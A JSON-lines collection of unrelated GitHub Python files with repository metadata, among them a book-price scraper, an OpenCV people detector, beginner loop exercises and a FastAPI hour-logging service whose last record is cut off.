+{"seq_id":"38827200841","text":"from django.forms.models import model_to_dict\nimport json\n\n\ndef to_json(uuid, obj):\n data = {\n u'uid': uuid,\n u'name': obj.name,\n \"user\": model_to_dict(obj.user1),\n # u'updateAt': firestore.firestore.SERVER_TIMESTAMP,\n }\n\n instance = json.dumps(data, default=str)\n return json.loads(instance)\n\n","repo_name":"Prashant4900/firebase_users","sub_path":"firestore/operations/json.py","file_name":"json.py","file_ext":"py","file_size_in_byte":334,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"13885617738","text":"import socket\nimport random\n\nHEADER=1024\nPORT=8900\nSERVER= 'localhost'\nADDR=(SERVER,PORT)\nFORMAT='utf-8'\nACKNOWLEDGE=None\nclient=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n\ndef send(ack):\n message=ack.encode(FORMAT)\n client.send(message)\n\ndef msgDisplay():\n if (random.randint(0,1))==1:\n print(client.recv(HEADER).decode(FORMAT))\n send('1')\n else:\n print('Packet Lost')\n send('0')\n\ndef start():\n client.connect(ADDR)\n packetCount=int(client.recv(HEADER).decode(FORMAT))\n print(packetCount)\n for i in range(packetCount):\n print(f'Packet#{i+1}')\n msgDisplay()\n \n \n \nstart()\n\n","repo_name":"Hariprasath1998/Socket","sub_path":"6 Simplex Stop and Wait/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":666,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"41544055169","text":"cards = input()\nshuffles = int(input())\n\ndeck = cards.split(' ')\ndeck_a = []\ndeck_b = []\n\nfor i in range(shuffles):\n deck_a = deck[0:(len(deck)//2)]\n deck_b = deck[(len(deck)//2)::]\n deck.clear()\n for j in range(len(deck_a)):\n deck.append(deck_a[j])\n deck.append(deck_b[j])\n\nprint(deck)\n","repo_name":"kzhelyazkov81/Lists-Basics-Exercises","sub_path":"05_faro_shuffle.py","file_name":"05_faro_shuffle.py","file_ext":"py","file_size_in_byte":313,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"33468640290","text":"# coding: utf8\n# about.py\n# 12/28/2013 jichi\n\n__all__ = 'AboutDialog',\n\nif __name__ == '__main__':\n import sys\n sys.path.append('..')\n import debug\n debug.initenv()\n\nfrom PySide.QtCore import Qt\nfrom Qt5 import QtWidgets\nfrom sakurakit import skqss\nfrom sakurakit.sktr import tr_\n#from mytr import mytr_\nimport info\n\nclass AboutDialog(QtWidgets.QDialog):\n def __init__(self, parent=None):\n WINDOW_FLAGS = Qt.Dialog|Qt.WindowMinMaxButtonsHint\n super(AboutDialog, self).__init__(parent, WINDOW_FLAGS)\n skqss.class_(self, 'texture')\n self.__d = _AboutDialog(self)\n #self.setWindowTitle(tr_(\"About {0}\").format(mytr_(\"Visual Novel Reader\")))\n self.setWindowTitle(tr_(\"About {0}\").format(\"Visual Novel Reader\"))\n self.resize(450, 400)\n\n def setVisible(self, t):\n \"\"\"@reimp\"\"\"\n if t and t != self.isVisible():\n self.__d.refresh()\n super(AboutDialog, self).setVisible(t)\n\nclass _AboutDialog:\n def __init__(self, q):\n self._createUi(q)\n\n def _createUi(self, q):\n layout = QtWidgets.QVBoxLayout()\n\n self.versionLabel = QtWidgets.QLabel()\n #self.versionLabel.setWordWrap(True)\n\n linkstyle = 'color:#428bca' # bootstrap btn-link\n url = 'http://sakuradite.com/changes/vnr'\n changesLabel = QtWidgets.QLabel(\n '%s' %\n (url, linkstyle, tr_(\"Recent Changes\")))\n changesLabel.setOpenExternalLinks(True)\n changesLabel.setToolTip(url)\n\n import rc\n url = rc.image_path('logo-reader')\n img = '' % url\n imageLabel = QtWidgets.QLabel(img)\n\n import main\n m = main.manager()\n wikiButton = QtWidgets.QPushButton(tr_(\"Wiki\"))\n wikiButton.setToolTip(tr_(\"Wiki\"))\n skqss.class_(wikiButton, 'btn btn-default')\n wikiButton.clicked.connect(lambda: m.openWiki('VNR'))\n\n updateButton = QtWidgets.QPushButton(tr_(\"Update\"))\n updateButton.setToolTip(tr_(\"Update\"))\n skqss.class_(updateButton, 'btn btn-primary')\n updateButton.clicked.connect(m.checkUpdate)\n\n creditButton = QtWidgets.QPushButton(tr_(\"Credits\"))\n creditButton.setToolTip(tr_(\"Credits\"))\n skqss.class_(creditButton, 'btn btn-info')\n creditButton.clicked.connect(m.showCredits)\n\n #helpEdit = QtWidgets.QLabel()\n helpEdit = QtWidgets.QTextBrowser()\n skqss.class_(helpEdit, 'texture')\n helpEdit.setReadOnly(True)\n helpEdit.setOpenExternalLinks(True)\n helpEdit.setHtml(info.renderAppHelp())\n\n #labels = QtWidgets.QHBoxLayout()\n #labels.addWidget(self.versionLabel)\n #labels.addWidget(imageLabel)\n #layout.addLayout(labels)\n\n row = QtWidgets.QHBoxLayout()\n row.addWidget(self.versionLabel)\n row.addStretch()\n row.addWidget(changesLabel)\n layout.addLayout(row)\n\n row = QtWidgets.QHBoxLayout()\n #row.addLayout(labels)\n row.addWidget(imageLabel)\n row.addStretch()\n row.addWidget(updateButton)\n row.addWidget(creditButton)\n row.addWidget(wikiButton)\n layout.addLayout(row)\n\n layout.addWidget(helpEdit)\n\n q.setLayout(layout)\n\n def refresh(self):\n import config, i18n, settings\n t = config.VERSION_TIMESTAMP\n line1 = tr_(\"Version\") + \" \" + i18n.timestamp2datetime(t)\n t = settings.global_().updateTime() or config.VERSION_TIMESTAMP\n line2 = tr_(\"Update\") + \" \" + i18n.timestamp2datetime(t)\n msg = '\\n'.join((line1, line2))\n self.versionLabel.setText(msg)\n\nif __name__ == '__main__':\n a = debug.app()\n w = AboutDialog()\n w.show()\n a.exec_()\n\n# EOF\n","repo_name":"Dangetsu/vnr","sub_path":"Frameworks/Sakura/py/apps/reader/dialogs/about.py","file_name":"about.py","file_ext":"py","file_size_in_byte":3467,"program_lang":"python","lang":"en","doc_type":"code","stars":87,"dataset":"github-code","pt":"7"} +{"seq_id":"73738174622","text":"import os\nimport zipfile\n\ndef zipdir(path, ziph):\n # ziph is zipfile handle\n for root, dirs, files in os.walk(path):\n for file in files:\n ziph.write(os.path.join(root, file), os.path.relpath(os.path.join(root, file), os.path.join(path, '..')))\n\n\n\npath = os.getcwd()\n\nprint(\"Enter Folder Name:\")\nfolderName = input()\npath += \"\\\\\" + folderName + \"\\\\\";\n\ntry:\n os.mkdir(path)\n path1 = path + \"\\\\in\"\n path2 = path + \"\\\\out\"\n os.mkdir(path1)\n os.mkdir(path2)\nexcept OSError:\n print(\"Creation of the directory %s failed\" % path)\nelse:\n print(\"Successfully created the directory %s \" % path)\n\ncnt = 1\nwhile True:\n print(\"input \" + str(cnt) + \":\")\n\n lines = []\n while True:\n line = input()\n if line:\n lines.append(line)\n else:\n break\n inp = '\\n'.join(lines)\n\n print(\"output \" + str(cnt) + \":\")\n\n lines = []\n while True:\n line = input()\n if line:\n lines.append(line)\n else:\n break\n out = '\\n'.join(lines)\n\n f = open(path1 + \"\\input\" + str(cnt) + \".txt\", \"w\")\n f.write(inp)\n f.close()\n\n f = open(path2 + \"\\output\" + str(cnt) + \".txt\", \"w\")\n f.write(out)\n f.close()\n\n print(\"done? type \\\"Y\\\" \\tOtherwise, type anything:\")\n if input() == \"Y\":\n if __name__ == '__main__':\n zipf = zipfile.ZipFile(folderName + '.zip', 'w', zipfile.ZIP_DEFLATED)\n zipdir(path+\"\\\\in\", zipf)\n zipdir(path+\"\\\\out\", zipf)\n zipf.close()\n break\n\n cnt += 1\nprint(\"GG!\")\n","repo_name":"behnawwm/QueraTestCaseGenerator","sub_path":"TestCaseGenerator.py","file_name":"TestCaseGenerator.py","file_ext":"py","file_size_in_byte":1570,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"7"} +{"seq_id":"13075758361","text":"import pytest\n\nfrom . import GoSolution\n\nOFFICIAL_EXAMPLE = 'input/day_22_example.txt'\nOFFICIAL_EXAMPLE_2 = 'input/day_22_example_2.txt'\nACTUAL_INPUT = 'input/day_22.txt'\n\n\n@pytest.mark.parametrize('solution', [\n GoSolution(22, 1),\n GoSolution(22, \"1d\"),\n], ids=lambda s: s.name)\nclass TestPart1(object):\n\n @pytest.mark.parametrize('lines, expected', (\n ([\"on x=0..1,y=0..1,z=0..1\"], \"8\"),\n ([\n \"on x=0..1,y=0..1,z=0..1\",\n \"on x=10..11,y=10..11,z=10..11\"\n ], \"16\"),\n ([\n \"on x=0..1,y=0..1,z=0..1\",\n \"off x=0..1,y=0..1,z=0..1\"\n ], \"0\"),\n ([\n \"on x=0..1,y=0..1,z=0..1\",\n \"off x=0..1,y=0..1,z=1..2\"\n ], \"4\"),\n ([\n \"on x=0..1,y=0..1,z=0..1\",\n \"off x=1..10,y=1..10,z=1..10\"\n ], \"7\"),\n ([\n \"on x=0..2,y=0..2,z=0..2\",\n \"off x=0..1,y=0..1,z=0..1\"\n ], \"19\"),\n ([\n \"on x=0..2,y=0..2,z=0..2\",\n \"on x=0..1,y=0..1,z=0..5\"\n ], \"39\"),\n ))\n def test_minimal_examples(self, solution, lines, expected):\n assert solution.run_lines(lines) == expected\n\n def test_official_example(self, solution):\n assert solution.run_file(OFFICIAL_EXAMPLE) == '590784'\n\n def test_actual_input(self, solution):\n assert solution.run_file(ACTUAL_INPUT) == '606484'\n\n\n@pytest.mark.parametrize('solution', [\n GoSolution(22, 2),\n], ids=lambda s: s.name)\nclass TestPart2(object):\n\n def test_official_example(self, solution):\n assert solution.run_file(OFFICIAL_EXAMPLE_2) == '2758514936282235'\n\n def test_actual_input(self, solution):\n assert solution.run_file(ACTUAL_INPUT) == '1162571910364852'\n","repo_name":"nebulans/aoc-2021","sub_path":"tests/test_day_22.py","file_name":"test_day_22.py","file_ext":"py","file_size_in_byte":1756,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"4227156543","text":"import requests\nfrom bs4 import BeautifulSoup\nimport datetime\nimport csv\nimport time\nimport json\n\nfrom openpyxl.workbook import Workbook\n\n\ndef get_books():\n cur_time = datetime.datetime.now().strftime(\"%d_%m_%Y_%H_%M\")\n soup, header = get_html_text()\n genre = soup.find('h1', class_='genre-name').text\n\n save_csv(cur_time, genre)\n\n soup, header = get_html_text()\n\n page_count = int(soup.find('div', class_='pagination-numbers').find_all('a')[-1].text)\n books_data = []\n\n\n for page in range(1, page_count + 1):\n url = f'https://www.labirint.ru/genres/2308/?page={page}'\n responce = requests.get(url=url, headers=header)\n soup = BeautifulSoup(responce.text, 'html.parser')\n books_items = soup.find_all('div', class_='genres-carousel__item')\n for book in books_items:\n try:\n book_title = book.find('span', class_='product-title').text.strip()\n except:\n book_title = 'Нет названия книги'\n\n try:\n book_author = book.find('div', class_='product-author').text.strip()\n except:\n book_author = 'Нет автора книги'\n\n try:\n book_price = book.find('span', class_='price-val').text.strip()\n except:\n book_price = 'Нет ценника'\n\n try:\n book_publishment = book.find('a', class_='product-pubhouse__pubhouse').text.strip()\n except:\n book_publishment = 'Нет издательства'\n\n try:\n book_cell = book.find('span', class_='card-label__text card-label__text_turned').text.strip()\n except:\n book_cell = 'Нет скидки'\n\n\n books_data.append(\n {\n 'book_title': book_title,\n 'book_author': book_author,\n 'book_publishment': book_publishment,\n 'book_price': book_price,\n 'book_cell': book_cell\n }\n )\n with open(f'labitint_{cur_time}_{genre}.csv', 'a', encoding='utf-8') as file:\n writer = csv.writer(file)\n writer.writerow(\n (\n book_title,\n book_author,\n book_publishment,\n book_price,\n book_cell\n )\n )\n print(str(page) + f'/{page_count}-страница')\n time.sleep(1)\n save_json(books_data, cur_time, genre)\n save_excel(books_data, genre)\n\n\n\n\ndef get_html_text():\n url = 'https://www.labirint.ru/genres/2308/'\n header = {\n 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',\n 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.124 YaBrowser/22.9.2.1495 Yowser/2.5 Safari/537.36'\n }\n responce = requests.get(url=url, headers=header).text\n soup = BeautifulSoup(responce, 'html.parser')\n return soup, header\n\n\ndef save_json(books_data, cur_time, genre):\n with open(f'labirint_{cur_time}_{genre}.json', 'w', encoding='utf-8') as file:\n json.dump(books_data, file, indent=4, ensure_ascii=False)\n\n\ndef save_csv(cur_time, genre):\n with open(f'labitint_{cur_time}_{genre}.csv', 'w', encoding='utf-8') as file:\n writer = csv.writer(file)\n\n writer.writerow(\n (\n 'Название книги',\n 'Автор книги',\n 'Издательство',\n 'Цена',\n 'Скидка на книгу',\n 'Наличие'\n )\n )\n\ndef save_excel(data, genre):\n headers = list(data[0].keys())\n file_name = 'labirint_'+genre+'.xlsx'\n\n wb = Workbook()\n page = wb.active\n page.title = 'data'\n page.append(headers)\n for book in data[:-1]:\n row = []\n for k, v in book.items():\n row.append(v)\n page.append(row)\n wb.save(filename=file_name)\n\n\nif __name__ == '__main__':\n get_books()\n","repo_name":"bigbyg/parser_11_class","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4280,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"7"} +{"seq_id":"40117725651","text":"from __future__ import print_function\nfrom imutils.video import VideoStream\nfrom imutils.object_detection import non_max_suppression\nimport time\nimport numpy as np\nimport imutils\nimport cv2\n\n\nprint(\"[INFO] starting video stream...\")\nvs = VideoStream(src=0).start()\ntime.sleep(2.0)\n\n(H, W) = (None, None)\n\n# initialize the HOG descriptor/person detector\nhog = cv2.HOGDescriptor()\nhog.setSVMDetector(cv2.HOGDescriptor_getDefaultPeopleDetector())\n\nwhile True:\n frame = vs.read()\n frame = imutils.resize(frame, width=600)\n\n if W is None or H is None:\n (H, W) = frame.shape[:2]\n\n # detect people in the image\n (rects, weights) = hog.detectMultiScale(frame, winStride=(4, 4),\n padding=(8, 8), scale=1.05)\n\n rects = np.array([[x, y, x + w, y + h] for (x, y, w, h) in rects])\n pick = non_max_suppression(rects, probs=None, overlapThresh=0.65)\n\n # draw the final bounding boxes\n for (xA, yA, xB, yB) in pick:\n cv2.rectangle(frame, (xA, yA), (xB, yB), (0, 255, 0), 2)\n\n cv2.imshow(\"heavy mathametics\", frame)\n key = cv2.waitKey(1) & 0xFF\n\n # if the `q` key was pressed, break from the loop\n if key == ord(\"q\"):\n break\ncv2.destroyAllWindows()\nvs.stop()\n","repo_name":"RemcoMusic/hexapod-image-processing","sub_path":"src/detect.py","file_name":"detect.py","file_ext":"py","file_size_in_byte":1209,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"41246040916","text":"from config import SHOP_FILE\nfrom miniscape.models import Item, User, Quest\nfrom miniscape.itemconsts import COINS\nfrom collections import Counter\n\nSHOP_HEADER = '__**:moneybag: SHOP :moneybag:**__\\n'\n\n\ndef get_loot_value(loot: Counter):\n amt = 0\n for item, amount in loot.items():\n amt += amount * item.value\n return amt\n\n\ndef compare(item1, item2):\n \"\"\"Prints a string comparing the stats of two given items.\"\"\"\n i1: Item = Item.find_by_name_or_nick(item1)\n i2: Item = Item.find_by_name_or_nick(item2)\n\n if not i1:\n return f'Error: {item1} does not exist.'\n if not i2:\n return f'Error: {item2} does not exist.'\n\n out = f':moneybag: __**COMPARE**__ :moneybag:\\n'\\\n f'**{i1.name.title()} vs {i2.name.title()}:**\\n\\n'\\\n f'**Accuracy**: {i1.accuracy} vs {i2.accuracy} *({i1.accuracy - i2.accuracy})*\\n' \\\n f'**Damage**: {i1.damage} vs {i2.damage} *({i1.damage - i2.damage})*\\n' \\\n f'**Armour**: {i1.armour} vs {i2.armour} *({i1.armour - i2.armour})*\\n' \\\n f'**Prayer Bonus**: {i1.prayer} vs {i2.prayer} *({i1.prayer - i2.prayer})*'\n return out\n\n\ndef print_shop(userid):\n \"\"\"Prints the shop.\"\"\"\n user = User.objects.get(id=userid)\n items = open_shop()\n\n out = SHOP_HEADER\n messages = []\n for itemid, quest_id in items.items():\n item: Item = Item.objects.get(id=int(itemid))\n\n # Check if we have the quests for it\n is_available = False\n if not int(items[itemid]):\n is_available = True\n else:\n quest_req: Quest = Quest.objects.get(id=quest_id)\n if quest_req in user.completed_quests_list:\n is_available = True\n\n if is_available:\n name = item.name\n price = '{:,}'.format(4 * item.value)\n out += f'**{name.title()}**: {price} coins\\n'\n\n if len(out) > 1800:\n messages.append(out)\n out = SHOP_HEADER\n messages.append(out)\n return messages\n\n\ndef item_in_shop(itemid):\n \"\"\"Checks if an item is in the shop.\"\"\"\n return str(itemid) in set(open_shop().keys())\n\n\ndef open_shop():\n \"\"\"Opens the shop file and places the items and quest reqs in a dictionary.\"\"\"\n with open(SHOP_FILE, 'r') as f:\n lines = f.read().splitlines()\n items = {}\n for line in lines:\n itemid, quest_req = line.split(';')\n items[itemid] = quest_req\n return items\n\n\ndef sell(userid, item, number):\n \"\"\"Sells (a given amount) of an item from a user's inventory.\"\"\"\n user = User.objects.get(id=userid)\n item: Item = Item.find_by_name_or_nick(item)\n if not item:\n return f'Error: {item} is not an item.'\n\n try:\n number = int(number)\n except ValueError:\n return f'Error: {number} is not a number.'\n\n item_name = item.name\n if user.has_item_amount_by_item(item, number):\n value = item.value\n user.update_inventory(Counter({COINS: value*number}))\n user.update_inventory(Counter({item: number}), remove=True)\n\n value_formatted = '{:,}'.format(value * number)\n return f'{number} {item_name} sold for {value_formatted} coins!'\n else:\n return f'Error: {item_name} not in inventory or you do not have at least {number} in your inventory.'\n\n\ndef buy(userid, item, number):\n \"\"\"Buys (a given amount) of an item and places it in the user's inventory.\"\"\"\n user = User.objects.get(id=userid)\n item: Item = Item.find_by_name_or_nick(item)\n if not item:\n return f'Error: {item} is not an item.'\n\n try:\n number = int(number)\n except ValueError:\n return f'Error: {number} is not a number.'\n\n item_name = item.name\n\n if item_in_shop(item.id):\n items = open_shop()\n quest_id = int(items[str(item.id)])\n quest_req = None\n if quest_id:\n quest_req = Quest.objects.get(id=quest_id)\n\n if not quest_id or user.has_completed_quest(quest_req):\n value = item.value\n cost = 4 * number * value\n if user.has_item_amount_by_item(COINS, cost):\n user.update_inventory(Counter({COINS: cost}), remove=True)\n user.update_inventory(Counter({item: number}))\n value_formatted = '{:,}'.format(4 * value * number)\n return f'{number} {item_name} bought for {value_formatted} coins!'\n else:\n return f'You do not have enough coins to buy this item. ({cost} coins)'\n else:\n return 'Error: You do not have the requirements to buy this item.'\n else:\n return f'Error: {item_name} not available in shop.'\n","repo_name":"coizioc/miniscape","sub_path":"miniscape/item_helpers.py","file_name":"item_helpers.py","file_ext":"py","file_size_in_byte":4649,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"16354809027","text":"\nfrom functools import wraps\n\n\ndef plot(method):\n from matplotlib import pyplot as plt\n from pathlib import Path\n from math import modf\n\n @wraps(method)\n def wrapper(ctx, **kwargs):\n tsp = ctx.obj['class'](**{\n 'metric': ctx.obj['metric'],\n 'service': ctx.obj.get('service', None),\n 'timewindow': ctx.obj.get('timewindow', None),\n **kwargs\n })\n\n route, cost = getattr(tsp, method.__name__)(\n ctx.obj['depot'], ctx.obj['cities']\n )\n\n figure = plt.figure()\n\n plt.title(\n f'{method.__name__.replace(\"_\", \" \").title()} '\n f'(Cities: {len(route) - 1}, Cost: {cost:07.2f})'\n )\n\n dx, dy = route[0]\n xs, ys = [c[0] for c in route[1:-1]], [c[1] for c in route[1:-1]]\n\n plt.scatter(xs, ys, c='blue', label='Cities')\n\n plt.scatter([dx], [dy], c='red', label='Depot')\n plt.text(\n dx - 0.5 if dx < 0 else dx + 0.5,\n dy - 0.5 if dy < 0 else dy + 0.5,\n f'({dx:05.2f}, {dy:5.2f})', fontsize=8\n )\n\n plt.plot([dx] + xs + [dx], [dy] + ys + [dy], 'k--', label='Route')\n\n if ctx.obj['graph'] is True:\n for cx, cy in zip(xs, ys):\n plt.text(\n cx - 0.5 if cx < 0 else cx + 0.5,\n cy - 0.5 if cy < 0 else cy + 0.5,\n f'({cx:05.2f}, {cy:5.2f})', fontsize=6\n )\n\n plt.axis('off')\n else:\n plt.legend()\n\n plt.xlim(\n (ctx.obj['x_axis'][0] - 1) * 1.1,\n (ctx.obj['x_axis'][1] + 1) * 1.1\n )\n plt.ylim(\n (ctx.obj['y_axis'][0] - 1) * 1.1,\n (ctx.obj['y_axis'][1] + 1) * 1.1\n )\n plt.gca().set_aspect('equal', adjustable='box')\n plt.tight_layout()\n plt.grid()\n\n if ctx.obj['output_file'] is not None:\n path = Path(ctx.obj['output_file'])\n\n f, i = modf(cost)\n f, i = int(f * 100), int(i)\n\n if path.suffix == '':\n folder = path\n name = f'{method.__name__}_{len(route) - 1:03d}_{i:04d}_{f:03d}.png'\n else:\n folder = path.parent\n name = path.name\n\n folder.mkdir(parents=True, exist_ok=True)\n\n figure.savefig(folder / name)\n else:\n plt.show()\n\n ctx.obj['cities'] = route[1:-1]\n\n return wrapper\n\n\ndef safe(method):\n from click import echo, style\n\n # @wraps(method)\n # def wrapper(*args, **kwargs):\n # try:\n # return method(*args, **kwargs)\n # except Exception as e:\n # name = method.__name__.replace(\"_\", \" \").title()\n # echo(style(f\"{name}: \", bold=True) + str(e))\n # exit(1)\n\n return method\n","repo_name":"billsioros/pytsp","sub_path":"pytsp/cli/decorators.py","file_name":"decorators.py","file_ext":"py","file_size_in_byte":2838,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"7"} +{"seq_id":"9004838695","text":"# 1. Write a python script to calculate sum of first N natural numbers\r\nk=0\r\nfor i in range(int(input(\"Enter number : \"))):\r\n k=k+i\r\nprint(k)\r\n# 2. Write a python script to calculate sum of squares of first N natural numbers\r\nk=0\r\nfor i in range(int(input(\"Enter number : \"))):\r\n k=k+(i**2)\r\nprint(k)\r\n# 3. Write a python script to calculate sum of cubes of first N natural numbers\r\nk=0\r\nfor i in range(int(input(\"Enter number : \"))):\r\n k=k+(i**3)\r\nprint(k)\r\n# 4. Write a python script to calculate sum of first N odd natural numbers\r\nk=0\r\nfor i in range(int(input(\"Enter number : \"))):\r\n k=k+2*i-1\r\nprint(k)\r\n# 5. Write a python script to calculate sum of first N even natural numbers\r\nk=0\r\nfor i in range(int(input(\"Enter number : \"))):\r\n k=k+2*i\r\nprint(k)\r\n# 6. Write a python script to calculate factorial of a given number\r\nn=int(input(\"Enter Number : \"))\r\np,i=1,1\r\nwhile i<=n:\r\n p=p*i\r\n i+=1\r\n \r\nprint(\"Factorial is : \",p)\r\nprint()\r\n# 7. Write a python script to count digits in a given number\r\nn=int(input(\"Enter Number : \"))\r\ncount=0\r\nwhile n!=0:\r\n n=n//10\r\n count+=1\r\n \r\nprint(str(count))\r\n# 8. Write a python script to calculate sum of digits of a given number\r\nn=int(input(\"Enter a number:\"))\r\ntot=0\r\nwhile(n>0):\r\n dig=n%10\r\n tot=tot+dig\r\n n=n//10\r\nprint(\"The total sum of digits is:\",tot)\r\n# 9. Write a python script to print binary equivalent of a given decimal number. (do not\r\n# use bin() method)\r\nn=int(input(\"Enter a number: \"))\r\na=[]\r\nwhile(n>0):\r\n dig=n%2\r\n a.append(dig)\r\n n=n//2\r\na.reverse()\r\nprint(\"Binary Equivalent is: \")\r\nfor i in a:\r\n print(i,end=\" \")\r\n# 10. Write a python script to print the octal equivalent of a given decimal number. (do not\r\n# use oct() method)\r\n\r\nprint(\"Enter the Decimal Number: \")\r\ndecnum = int(input())\r\n\r\ni = 0\r\noctnum = []\r\nwhile decnum!=0:\r\n rem = decnum%8\r\n octnum.insert(i, rem)\r\n i = i+1\r\n decnum = int(decnum/8)\r\n\r\nprint(\"\\nEquivalent Octal Value is: \")\r\ni = i-1\r\nwhile i>=0:\r\n print(octnum[i], end=\"\")\r\n i = i-1\r\nprint()","repo_name":"nihu-13/assignments","sub_path":"Loop.py","file_name":"Loop.py","file_ext":"py","file_size_in_byte":2052,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"3950624592","text":"import csv\nimport sys\nimport os\nimport numpy as np\n\ndb_file_loc = sys.argv[1]\nsplit_dir = sys.argv[2]\n\nls = ['GPDB#','Central Group','x','y','z','Group1','x1','y1','z1','Group2','x2','y2','z2','Group3','x3','y3','z3','Group4','x4','y4','z4','Group5','x5','y5','z5','Group6','x6','y6','z6']\nname = os.path.basename(db_file_loc)\ndb_file = split_dir + name\n\nf1 = open('%s_sp1.csv'%db_file,'w')\nw1 = csv.writer(f1)\nw1.writerow(ls)\n\nf2 = open('%s_sp2.csv'%db_file,'w')\nw2 = csv.writer(f2)\nw2.writerow(ls)\n\nf3 = open('%s_sp3.csv'%db_file,'w')\nw3 = csv.writer(f3)\nw3.writerow(ls)\n\nf4 = open('%s_sp4.csv'%db_file,'w')\nw4 = csv.writer(f4)\nw4.writerow(ls)\n\nf5 = open('%s_sp5.csv'%db_file,'w')\nw5 = csv.writer(f5)\nw5.writerow(ls)\n\nwith open(db_file_loc,'r') as db:\n r = csv.reader(db)\n next(r)\n for line in r:\n rn = np.random.uniform(0,1)\n if rn<0.2:\n w1.writerow(line)\n elif 0.2<=rn and rn<0.4:\n w2.writerow(line)\n elif 0.4<=rn and rn<0.6:\n w3.writerow(line)\n elif 0.6<=rn and rn<0.8:\n w4.writerow(line)\n else:\n w5.writerow(line)\n\n\nf1.close()\nf2.close()\nf3.close()\nf4.close()\nf5.close()\n","repo_name":"ShubhankarLondhe/Madhu_Lab","sub_path":"5_split_db.py","file_name":"5_split_db.py","file_ext":"py","file_size_in_byte":1183,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"3499164675","text":"from datetime import date\nfrom fastapi import HTTPException, status\n\nfrom src.main.exceptions.FechaInvalida import FechaInvalida\nfrom src.main.exceptions.CargaInvalida import CargaInvalida\nfrom src.main.exceptions.TareaNoExiste import TareaNoExiste\nfrom src.main.exceptions.RegistroExistente import RegistroExistente\nfrom src.main.exceptions.RecursoNoAsignado import RecursoNoAsignado\nfrom src.main.exceptions.RegistroNoExiste import RegistroNoExiste\nfrom src.main.exceptions.RecursoNoExiste import RecursoNoExiste\nfrom src.main.exceptions.CantidadInvalida import CantidadInvalida\n\nfrom src.main.model.RegistroDeHorasModel import RegistroDeHoras as RegistroDeHorasModel \nfrom src.main.schema import RegistroDeHorasSchema \n\nfrom src.main.service import TareaService\nfrom src.main.service import RecursosService\n\ndef cargarHoras(carga: RegistroDeHorasSchema.RegistroDeHoras):\n\n fecha_actual = date.today()\n if carga.fecha_trabajada > fecha_actual:\n raise FechaInvalida and HTTPException(\n status_code=status.HTTP_400_BAD_REQUEST,\n detail=\"La fecha ingresada no es válida, por favor ingrese una fecha del pasado\"\n )\n\n if carga.cantidad > 8 or carga.cantidad < 1:\n raise CargaInvalida and HTTPException(\n status_code=status.HTTP_400_BAD_REQUEST,\n detail=\"La cantidad de horas ingresadas no es válida\"\n )\n \n if TareaService.get_tarea_id(carga.id_tarea) == None:\n raise TareaNoExiste and HTTPException(\n status_code=status.HTTP_400_BAD_REQUEST,\n detail=\"La tarea ingresada no corresponde a ninguna tarea existente\"\n )\n\n if RecursosService.get_recurso_legajo(carga.id_recurso) == None:\n raise RecursoNoExiste and HTTPException(\n status_code=status.HTTP_400_BAD_REQUEST,\n detail=\"El legajo ingresado no corresponde a ningún recurso existente\"\n )\n\n if TareaService.tareaTieneAsignado(carga.id_tarea, carga.id_recurso) == False:\n msg = \"El recurso no está asignado a la tarea\"\n raise RecursoNoAsignado and HTTPException(\n status_code=status.HTTP_400_BAD_REQUEST,\n detail=\"La tarea seleccionada no tiene asignado al recurso seleccionado\"\n )\n \n getCarga = RegistroDeHorasModel.select().where((RegistroDeHorasModel.fecha_trabajada==carga.fecha_trabajada) \n & (RegistroDeHorasModel.id_recurso == carga.id_recurso) \n & (RegistroDeHorasModel.id_tarea == carga.id_tarea)).first()\n if getCarga:\n raise RegistroExistente and HTTPException(\n status_code=status.HTTP_400_BAD_REQUEST,\n detail=\"Ya se cargaron horas para la tarea, el recurso y la fecha seleccionada\"\n )\n\n db_carga = RegistroDeHorasModel(\n nombre_proyecto = carga.nombre_proyecto,\n nombre_tarea = carga.nombre_tarea,\n nombre_recurso = carga.nombre_recurso,\n fecha_trabajada = carga.fecha_trabajada,\n cantidad = carga.cantidad,\n id_proyecto = carga.id_proyecto,\n id_tarea = carga.id_tarea,\n id_recurso = carga.id_recurso\n )\n\n db_carga.save()\n\n return RegistroDeHorasSchema.RegistroDeHorasCargar(\n nombre_proyecto = db_carga.nombre_proyecto,\n nombre_tarea = db_carga.nombre_tarea,\n nombre_recurso = db_carga.nombre_recurso,\n fecha_trabajada = db_carga.fecha_trabajada,\n cantidad = db_carga.cantidad,\n id_proyecto = db_carga.id_proyecto,\n id_tarea = db_carga.id_tarea,\n id_recurso = db_carga.id_recurso,\n id_registro_horas = db_carga.id_registro_horas\n )\n\ndef listar_cargas(cargas, msg):\n # if not cargas:\n # raise RegistroNoExiste and HTTPException(\n # status_code=status.HTTP_404_NOT_FOUND,\n # detail=msg\n # )\n\n list_cargas = []\n for carga in cargas:\n list_cargas.append(\n RegistroDeHorasSchema.RegistroDeHorasCargar(\n nombre_proyecto=carga.nombre_proyecto,\n nombre_tarea=carga.nombre_tarea,\n nombre_recurso=carga.nombre_recurso,\n cantidad=carga.cantidad,\n fecha_trabajada=carga.fecha_trabajada,\n id_registro_horas=carga.id_registro_horas,\n id_proyecto = carga.id_proyecto,\n 